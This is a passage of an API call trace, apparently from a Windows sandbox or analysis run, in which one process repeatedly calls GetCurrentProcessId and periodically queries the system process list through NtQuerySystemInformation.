GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.169] GetCurrentProcessId () returned 0x388 [0124.170] GetCurrentProcessId () returned 0x388 [0124.170] GetCurrentProcessId () returned 0x388 [0124.170] GetCurrentProcessId () returned 0x388 [0124.170] GetCurrentProcessId () returned 0x388 [0124.170] GetCurrentProcessId () returned 0x388 [0124.170] GetCurrentProcessId () returned 0x388 [0124.170] GetCurrentProcessId () returned 0x388 [0124.170] GetCurrentProcessId () returned 0x388 [0124.170] GetCurrentProcessId () returned 0x388 [0124.170] GetCurrentProcessId () returned 0x388 [0124.170] GetCurrentProcessId () returned 0x388 [0124.170] GetCurrentProcessId () returned 0x388 [0124.170] GetCurrentProcessId () returned 0x388 [0124.170] GetCurrentProcessId () returned 0x388 [0124.697] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cb48) returned 0x0 [0124.706] GetCurrentProcessId () returned 0x388 [0124.706] GetCurrentProcessId () returned 0x388 [0124.706] GetCurrentProcessId () returned 0x388 [0124.706] GetCurrentProcessId () returned 0x388 [0124.706] GetCurrentProcessId () returned 0x388 [0124.706] GetCurrentProcessId () returned 0x388 [0124.706] GetCurrentProcessId () returned 0x388 [0124.706] GetCurrentProcessId () returned 0x388 [0124.706] GetCurrentProcessId () returned 0x388 [0124.706] GetCurrentProcessId () returned 0x388 [0124.706] GetCurrentProcessId () returned 0x388 [0124.706] GetCurrentProcessId () returned 0x388 [0124.706] GetCurrentProcessId () returned 0x388 [0124.706] GetCurrentProcessId () returned 0x388 [0124.706] GetCurrentProcessId () returned 0x388 [0124.706] GetCurrentProcessId () returned 0x388 [0124.706] GetCurrentProcessId () returned 0x388 [0124.706] GetCurrentProcessId () returned 0x388 [0124.706] GetCurrentProcessId () returned 0x388 [0125.229] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1ca58) returned 0x0 [0125.239] GetCurrentProcessId () returned 0x388 [0125.239] GetCurrentProcessId () returned 0x388 [0125.239] GetCurrentProcessId () returned 0x388 [0125.239] GetCurrentProcessId () returned 0x388 [0125.239] GetCurrentProcessId () returned 0x388 [0125.239] GetCurrentProcessId () returned 0x388 [0125.239] GetCurrentProcessId () returned 0x388 [0125.239] GetCurrentProcessId () returned 0x388 [0125.239] GetCurrentProcessId () returned 0x388 [0125.239] GetCurrentProcessId () returned 0x388 [0125.239] GetCurrentProcessId () returned 0x388 [0125.239] GetCurrentProcessId () returned 0x388 [0125.239] GetCurrentProcessId () returned 0x388 [0125.239] GetCurrentProcessId () returned 0x388 [0125.239] GetCurrentProcessId () returned 0x388 [0125.239] GetCurrentProcessId () returned 0x388 [0125.240] GetCurrentProcessId () returned 0x388 [0125.240] GetCurrentProcessId () returned 0x388 [0125.240] GetCurrentProcessId () returned 0x388 [0125.240] GetCurrentProcessId () returned 0x388 [0125.240] GetCurrentProcessId () returned 0x388 [0125.240] GetCurrentProcessId () returned 0x388 [0125.240] GetCurrentProcessId () returned 0x388 [0125.240] GetCurrentProcessId () returned 0x388 [0125.240] GetCurrentProcessId () returned 0x388 [0125.240] GetCurrentProcessId () returned 0x388 [0125.240] GetCurrentProcessId () returned 0x388 [0125.240] GetCurrentProcessId () returned 0x388 [0125.240] GetCurrentProcessId () returned 0x388 [0125.240] GetCurrentProcessId () returned 0x388 [0125.240] GetCurrentProcessId () returned 0x388 [0125.240] GetCurrentProcessId () returned 0x388 [0125.240] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.241] GetCurrentProcessId () returned 0x388 [0125.242] GetCurrentProcessId () returned 0x388 [0125.242] GetCurrentProcessId () returned 0x388 [0125.242] GetCurrentProcessId () returned 0x388 [0125.242] GetCurrentProcessId () returned 0x388 [0125.242] GetCurrentProcessId () returned 0x388 [0125.242] GetCurrentProcessId () returned 0x388 [0125.242] GetCurrentProcessId () returned 0x388 [0125.242] GetCurrentProcessId () returned 0x388 [0125.242] GetCurrentProcessId () returned 0x388 [0125.242] GetCurrentProcessId () returned 0x388 [0125.242] GetCurrentProcessId () returned 0x388 [0125.242] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.243] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.245] GetCurrentProcessId () returned 0x388 [0125.246] GetCurrentProcessId () returned 0x388 [0125.246] GetCurrentProcessId () returned 0x388 [0125.768] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1caa8) returned 0x0 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.785] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.786] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.787] GetCurrentProcessId () returned 0x388 [0125.788] GetCurrentProcessId () returned 0x388 [0125.788] GetCurrentProcessId () returned 0x388 [0125.788] GetCurrentProcessId () returned 0x388 [0125.788] GetCurrentProcessId () returned 0x388 [0125.788] GetCurrentProcessId () returned 0x388 [0125.788] GetCurrentProcessId () returned 0x388 [0125.788] GetCurrentProcessId () returned 0x388 [0125.788] GetCurrentProcessId () returned 0x388 [0125.788] GetCurrentProcessId () returned 0x388 [0125.788] GetCurrentProcessId () returned 0x388 [0125.788] GetCurrentProcessId () returned 0x388 [0125.788] GetCurrentProcessId () returned 0x388 [0125.788] GetCurrentProcessId () returned 0x388 [0126.898] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1caa8) returned 0x0 [0127.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1caa8) returned 0x0 [0128.359] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cd98) returned 0x0 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.371] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.372] GetCurrentProcessId () returned 0x388 [0128.373] GetCurrentProcessId () returned 0x388 [0128.373] GetCurrentProcessId () returned 0x388 [0128.373] GetCurrentProcessId () returned 0x388 [0128.373] GetCurrentProcessId () returned 0x388 [0128.373] GetCurrentProcessId () returned 0x388 [0128.373] GetCurrentProcessId () returned 0x388 [0128.373] GetCurrentProcessId () returned 0x388 [0128.373] GetCurrentProcessId () returned 0x388 [0128.373] GetCurrentProcessId () returned 0x388 [0128.373] GetCurrentProcessId () returned 0x388 [0128.373] GetCurrentProcessId () returned 0x388 [0128.373] GetCurrentProcessId () returned 0x388 [0128.373] GetCurrentProcessId () returned 0x388 [0128.373] GetCurrentProcessId () returned 0x388 [0128.373] GetCurrentProcessId () returned 0x388 [0128.373] GetCurrentProcessId () returned 0x388 [0128.373] GetCurrentProcessId () returned 0x388 [0128.373] GetCurrentProcessId () returned 0x388 [0128.917] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cd98) returned 0x0 [0128.925] GetCurrentProcessId () returned 0x388 [0128.925] GetCurrentProcessId () returned 0x388 [0128.925] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.926] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.927] GetCurrentProcessId () returned 0x388 [0128.928] GetCurrentProcessId () returned 0x388 [0128.928] GetCurrentProcessId () returned 0x388 [0128.928] GetCurrentProcessId () returned 0x388 [0128.928] GetCurrentProcessId () returned 0x388 [0128.928] GetCurrentProcessId () returned 0x388 [0128.928] GetCurrentProcessId () returned 0x388 [0128.928] GetCurrentProcessId () returned 0x388 [0128.928] GetCurrentProcessId () returned 0x388 [0128.928] GetCurrentProcessId () returned 0x388 [0128.928] GetCurrentProcessId () returned 0x388 [0128.928] GetCurrentProcessId () returned 0x388 [0128.928] GetCurrentProcessId () returned 0x388 [0128.928] GetCurrentProcessId () returned 0x388 [0128.928] GetCurrentProcessId () returned 0x388 [0128.929] GetCurrentProcessId () returned 0x388 [0128.929] GetCurrentProcessId () returned 0x388 [0128.929] GetCurrentProcessId () returned 0x388 [0128.929] GetCurrentProcessId () returned 0x388 [0128.929] GetCurrentProcessId () returned 0x388 [0128.930] GetCurrentProcessId () returned 0x388 [0128.930] GetCurrentProcessId () returned 0x388 [0128.930] GetCurrentProcessId () returned 0x388 [0128.930] GetCurrentProcessId () returned 0x388 [0128.930] GetCurrentProcessId () returned 0x388 [0128.930] GetCurrentProcessId () returned 0x388 [0128.930] GetCurrentProcessId () returned 0x388 [0128.930] GetCurrentProcessId () returned 0x388 [0128.930] GetCurrentProcessId () returned 0x388 [0128.930] GetCurrentProcessId () returned 0x388 [0128.930] GetCurrentProcessId () returned 0x388 [0128.930] GetCurrentProcessId () returned 0x388 [0128.930] GetCurrentProcessId () returned 0x388 [0128.930] GetCurrentProcessId () returned 0x388 [0128.930] GetCurrentProcessId () returned 0x388 [0128.930] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.931] GetCurrentProcessId () returned 0x388 [0128.932] GetCurrentProcessId () returned 0x388 [0128.932] GetCurrentProcessId () returned 0x388 [0128.932] GetCurrentProcessId () returned 0x388 [0128.932] GetCurrentProcessId () returned 0x388 [0129.501] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1d038) returned 0x0 [0129.599] GetCurrentProcessId () returned 0x388 [0129.599] GetCurrentProcessId () returned 0x388 [0129.599] GetCurrentProcessId () returned 0x388 [0129.599] GetCurrentProcessId () returned 0x388 [0129.599] GetCurrentProcessId () returned 0x388 [0129.599] GetCurrentProcessId () returned 0x388 [0130.119] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1d038) returned 0x0 [0130.131] GetCurrentProcessId () returned 0x388 [0130.131] GetCurrentProcessId () returned 0x388 [0130.131] GetCurrentProcessId () returned 0x388 [0130.131] GetCurrentProcessId () returned 0x388 [0130.131] GetCurrentProcessId () returned 0x388 [0130.131] GetCurrentProcessId () returned 0x388 [0130.131] GetCurrentProcessId () returned 0x388 [0130.131] GetCurrentProcessId () returned 0x388 [0130.131] GetCurrentProcessId () returned 0x388 [0130.131] GetCurrentProcessId () returned 0x388 [0130.131] GetCurrentProcessId () returned 0x388 [0130.133] GetCurrentProcessId () returned 0x388 [0130.133] GetCurrentProcessId () returned 0x388 [0130.133] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.134] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.135] GetCurrentProcessId () returned 0x388 [0130.136] GetCurrentProcessId () returned 0x388 [0130.136] GetCurrentProcessId () returned 0x388 [0130.136] GetCurrentProcessId () returned 0x388 [0130.136] GetCurrentProcessId () returned 0x388 [0130.136] GetCurrentProcessId () returned 0x388 [0130.136] GetCurrentProcessId () returned 0x388 [0130.136] GetCurrentProcessId () returned 0x388 [0130.136] GetCurrentProcessId () returned 0x388 [0130.136] GetCurrentProcessId () returned 0x388 [0130.136] GetCurrentProcessId () returned 0x388 [0130.136] GetCurrentProcessId () returned 0x388 [0130.136] GetCurrentProcessId () returned 0x388 [0130.136] GetCurrentProcessId () returned 0x388 [0130.136] GetCurrentProcessId () returned 0x388 [0130.136] GetCurrentProcessId () returned 0x388 [0130.136] GetCurrentProcessId () returned 0x388 [0130.136] GetCurrentProcessId () returned 0x388 [0130.666] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cde8) returned 0x0 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.679] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.680] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] 